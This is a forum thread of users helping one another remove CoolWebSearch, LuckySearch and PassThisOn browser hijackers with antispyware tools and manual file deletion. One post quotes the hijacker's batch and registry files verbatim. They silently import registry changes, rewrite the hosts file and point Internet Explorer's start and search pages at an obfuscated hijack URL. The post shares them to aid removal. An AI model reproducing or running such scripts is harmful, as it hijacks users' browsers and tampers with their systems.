number of steps you can take: 1.get adaware 6 and also spybot1.2 2. press ctrl.alt.del. make sure nothing that shouldnt be is running in the background. 3. dont open your connection yet 4. run both adaware and spybot. not together. 5. check your windows/system folder for files that have the name or part of the name that you said. ie, luckysearch,coolweb,coolsearch etc. and also in program files. 6. keep a log of all the sites you are visiting plus the rest of your family because one of these sites will be the culprit where the stuff is coming from. 7. better still, limit yourself to only using 4 or 5 sites per day, yes per day because I think these hijacks are programmed for a daily assault on your computer. For instance, you may surf away all day and keep checking your homepage and its still your usual one so you think its ok now but when you switch your computer on the next day the hijack has taken over again. It puts itself in the registry and as your computer updates and makes a new copy of its registry each day so, I think, does the hijack. 8. eventually you WILL find out where its coming from. then youll know where to keep away from. one more tip. do not use an old web page url that you have kept in your favorites or whatever as a shortcut to another page. update your urls. sorry for the long reply

0

Greensky You are a victim of the of the Cool-Web Search hijack. This hijack comes in many forms and 'luckysearch' seems to be the latest. There is another forum on the subject at this site under the the name of 'Global Finder Hijack'. The easy way to remove it is to run CWSchredder. I can assure you it will work. Visit this site and download CWS free. www.spywareinfo.com/~merijn/cwschronicles.html While you are there, read all about the various forms this nasty comes in.

0

I have tried CWShredder numerous times, however, it is only a temporary fix to the problem (at least in my case). The file known as "PassThisOn" is not deleted, or returns after deletion (not sure which yet). But, I did manage to find this file, and deleted it this morning. So, hopefully this will work. I'll let you all know. And littlejohn, I'd tell your neighbor to download CWShredder, as it may very well work for other people. Also get him to download SpyBot, and look for the "PassThisOn" file/registry (I forget which it is).

0

FYI. Here is my bookmark for that type of situation. It makes very interesting reading: The CoolWebSearch Chronicles The story of a thousand hijacks Hope this helps..........ck

0

Greensky, You'll find a lot of info on that PassThisOn at the many links/threads at the link below. PassThisOn Info Tufenuf

0

Pass This On is not a CoolWeb hijack... Greensky, Search for the file reg.hta and delete it if found.

0

Well, so far today, my webpage has been hijacked two times, all of my homepage changes now direct me to the "PassThisOn" site. I searched for more PassThisOn files, and found three, which I deleted. Also, I could not locate reg.hta

0

Greensky Seems like you getting advice from everyone with little success. Reading your posts seems to indicate that the Luckysearch hijack has gone and been replaced by PassThisOn. LuckySearch is part of the CoolWeb Search hijack and if it has gone it is due to CWSchredder. If it hasn't you need to run the very latest version of CWS - which is being updated every few days. PassThisOn should be easy to remove if you can believe what they say on their web site. It should just be a case of resetting your homepage in IE Tools\Options. It would seem that the advice of Tom41 could be the soundest -ie; Run 'Hijack This' and let us see a log here. HJT is available from this link: http://www.spywareinfo.com/~merijn/files/hijackthis.zip. Best of luck.

0

Greensky Seems like you are getting advice from everyone with little success. Reading your posts seems to indicate that the Luckysearch hijack has gone and been replaced by PassThisOn. LuckySearch is part of the CoolWeb Search hijack and if it has gone it is due to CWSchredder. If it hasn't you need to run the very latest version of CWS - which is being updated every few days. PassThisOn should be easy to remove if you can believe what they say on their web site. It should just be a case of resetting your homepage in IE Tools\Options. It would seem that the advice of Tom41 could be the soundest -ie; Run 'Hijack This' and let us see a log here. HJT is available from this link: http://www.spywareinfo.com/~merijn/files/hijackthis.zip. Best of luck.

0

I just wanted to let you all know, that my problem seems to be fixed now. I simply searched for all files related to "PassThisOn", and deleted them all. Since then, my homepage hasn't been changing. Hopefully it stays this way...

0

I had a problem with IE's homepage changing at reboot. It produced an error because the page it was being directed to (on the root of my windows folder) was missing. After some searching, I found a batch file in the root of the Windows folder named, 'load.bat' Nearby, with the same date (10-30-03) was a file named 'srch.reg' The batch file directed the reg file to be loaded into the registry at bootup - it included instructions to change the homepage to the file, 'hp.htm'. Once these were deleted, the problem went away. Here's the contents of the batch file: @echo off regedit /s srch.reg > nul attrib -h -s -r c:\windows\system32\drivers\etc\hosts > nul echo 3466709097 auto.search.msn.com > c:\windows\system32\drivers\etc\hosts echo 3466709097 sitefinder.verisign.com >> c:\windows\system32\drivers\etc\hosts attrib +h +s +r c:\windows\system32\drivers\etc\hosts > nul exit ...and the .reg file: REGEDIT4 [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Styles] "Use My Stylesheet"=dword:00000001 "User Stylesheet"="c:\\windows\\system.css" [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] "Start Page"="c:\\windows\\hp.htm" [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] "Search Page"="http://%69%65%2D%73%65%61%72%63%68%2E%63%6F%6D/%68%6F%6D%65%2E%68%74%6D%6C" [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchURL] ""="http://%69%65%2D%73%65%61%72%63%68%2E%63%6F%6D/%68%6F%6D%65%2E%68%74%6D%6C" [HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main] "Search Page"="http://%69%65%2D%73%65%61%72%63%68%2E%63%6F%6D/%68%6F%6D%65%2E%68%74%6D%6C"

0

My sincerest thanks to "kelstra" for the tip on fixing this nasty hijacking problem. It was driving me nuts! Dee England

0

For some days I have had the same problems: Google replaced by luckysearch etc. Coming back everyday. Thanks to the advices here, esp. from Kelstra -thank you very much, Kelstra - I have apparently eradicated the malus. First have to prepare for the attack : 1) diskcleaning 2) Spybot 3) Ad aware. Then the attack : 4) run "hijack this" 5) pick and delete. This last thing was sensible, but I succeded in only deleting the necessary. Better delete less than you dare and run step 1) -5) once more. Grunie, Denmark

0

Anyone having the problem with the homepage going to startpage and cant get rid of it, please email me. This problem in particular is the hp.htm, i haven't figured out how to get rid of it completly but I know how to get rid of the nag of the homepage. I have the same bug but I can get it to my Google page......

0

One version creates a file called "soundmx.exe". Look for it under the startup tab in msconfig. Uncheck the box next to it. Search for it using the FIND utility and delete it. You shouldnt have anymore recurrances if you have taken care of the fntldr.exe file.

0